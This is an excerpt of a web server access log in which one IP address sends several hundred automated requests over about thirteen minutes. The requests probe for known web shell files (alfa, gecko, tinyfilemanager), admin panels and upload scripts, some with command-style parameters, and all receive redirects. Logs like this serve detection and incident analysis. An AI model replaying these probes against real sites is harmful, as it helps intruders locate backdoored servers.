"GET /a.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:47 -0400] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:49 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:50 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:51 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:53 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:54 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:55 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:56 -0400] "GET /about.php?dir=/home/prsvnvn/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:57 -0400] "GET /about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:44:59 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:01 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:02 -0400] "GET /about/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:05 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:09 -0400] "GET /admin HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:14 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:17 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:19 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:23 -0400] "GET /admin.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:25 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:28 -0400] "GET /admin.php?attempt=1 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:30 -0400] "GET /admin.php?debug=on&cmd=upload HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:31 -0400] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:33 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:35 -0400] "GET /admin//function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:38 -0400] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:40 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:41 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:42 -0400] "GET /admin/controller/extension/extension/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:44 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:46 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:49 -0400] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:50 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:51 -0400] "GET /admin/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:53 -0400] "GET /admin/index_upload.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:55 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:56 -0400] "GET /admin/upload/themes-install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:45:59 -0400] "GET /admin2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:01 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:03 -0400] "GET /adminer.php?db=stealth HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:05 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:06 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:09 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:12 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:15 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:19 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:24 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:30 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:34 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:39 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:42 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:46 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:50 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:53 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:55 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:46:59 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:06 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:09 -0400] "GET /api/.config.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:12 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:14 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:16 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:18 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:20 -0400] "GET /aspeV9cCZPQ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:22 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:23 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:25 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:25 -0400] "GET /assets/images//NOFmvAjT.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:26 -0400] "GET /assets/images//niil.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:27 -0400] "GET /assets/images//scan.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:30 -0400] "GET /assets/images/1741753877buyyx.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:32 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:36 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:40 -0400] "GET /assets/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:45 -0400] "GET /assets/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:49 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:54 -0400] "GET /assets/xp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:47:58 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:48:03 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:48:07 -0400] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:48:11 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:48:14 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:48:18 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:48:23 -0400] "GET /bQmw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:48:27 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:48:29 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:48:35 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:48:40 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:48:45 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:48:52 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:48:56 -0400] "GET /ben.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:48:59 -0400] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:00 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:02 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:04 -0400] "GET /blog/wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:06 -0400] "GET /bob.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:07 -0400] "GET /brU.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:08 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:11 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:13 -0400] "GET /bs1.php?d=2f7777772f3030396437 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:15 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:18 -0400] "GET /buy.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:24 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:26 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:29 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:31 -0400] "GET /cZkmtUnJVfi.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:34 -0400] "GET /cache/b/c/e/b/mdtcshwavxn.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:36 -0400] "GET /cache/d/d/b/d/zwdlhkfyupn.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:39 -0400] "GET /cache/d/h/d/f/ukstnfjlbov.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:41 -0400] "GET /cache/e/e/e/b/abkiszpjdfx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:43 -0400] "GET /cache/g/a/d/b/qtrxajmpgek.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:45 -0400] "GET /cache/g/c/h/b/tfuoqlvyakp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:48 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:50 -0400] "GET /cd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:52 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:53 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:55 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:57 -0400] "GET /cgi-bin/b.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:49:59 -0400] "GET /cgi-bin/bak.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:50:00 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:50:01 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:50:05 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:50:09 -0400] "GET /cgi-bin/head.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:50:15 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:50:21 -0400] "GET /cgi-bin/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:50:27 -0400] "GET /cgi-bin/index.php?p=&upload HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:50:33 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:50:37 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:50:40 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:50:43 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:50:48 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:50:51 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:50:54 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:50:57 -0400] "GET /chosen/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:50:59 -0400] "GET /chosen?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:02 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:06 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:11 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:18 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:20 -0400] "GET /class.api.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:24 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:25 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:29 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:33 -0400] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:36 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:39 -0400] "GET /click.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:41 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:45 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:49 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:52 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:53 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:56 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:51:58 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:52:02 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:52:06 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:52:13 -0400] "GET /cong.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:52:24 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:52:29 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:52:33 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:52:36 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:52:40 -0400] "GET /cpouchon/ORTHOSKIM HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:52:42 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:52:44 -0400] "GET /css.php/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:52:45 -0400] "GET /css.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:52:48 -0400] "GET /css/.tmp/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:52:53 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:52:57 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:52:59 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:02 -0400] "GET /css/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:04 -0400] "GET /css/default.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:05 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:07 -0400] "GET /css/nop.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:10 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:13 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:17 -0400] "GET /custom-background.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:21 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:24 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:30 -0400] "GET /d8Q4AflCtoJ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:36 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:40 -0400] "GET /data/.backup.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:47 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:50 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:53 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:56 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:53:59 -0400] "GET /dg6Umx2OrVh.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:03 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:06 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:10 -0400] "GET /dropdown.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:13 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:17 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:20 -0400] "GET /eVhyNnBmDl4.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:23 -0400] "GET /ecoraiderusa.com/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:27 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:29 -0400] "GET /edit.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:33 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:38 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:43 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:46 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:52 -0400] "GET /error.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:56 -0400] "GET /es-ar//wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:57 -0400] "GET /exploits7.my.id HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:54:59 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:55:02 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:55:04 -0400] "GET /f8P2t5IOcAq.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:55:06 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:55:10 -0400] "GET /feed/atom/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:55:13 -0400] "GET /fex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:55:18 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:55:23 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:55:25 -0400] "GET /file.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:55:28 -0400] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:55:31 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:55:34 -0400] "GET /filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:55:36 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:55:39 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:55:46 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:56:04 -0400] "GET /files//tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:56:11 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:56:20 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:56:26 -0400] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:56:30 -0400] "GET /fkHOiaRx2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:56:33 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:56:34 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:56:38 -0400] "GET /fm.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:56:41 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:56:47 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:56:51 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:56:54 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:57:01 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:57:06 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:57:10 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:57:15 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:57:21 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:57:26 -0400] "GET /geLVvYmAkdO.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:57:30 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:57:34 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:57:38 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:57:40 -0400] "GET /geylY2B94sm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:57:41 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:08:57:44 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 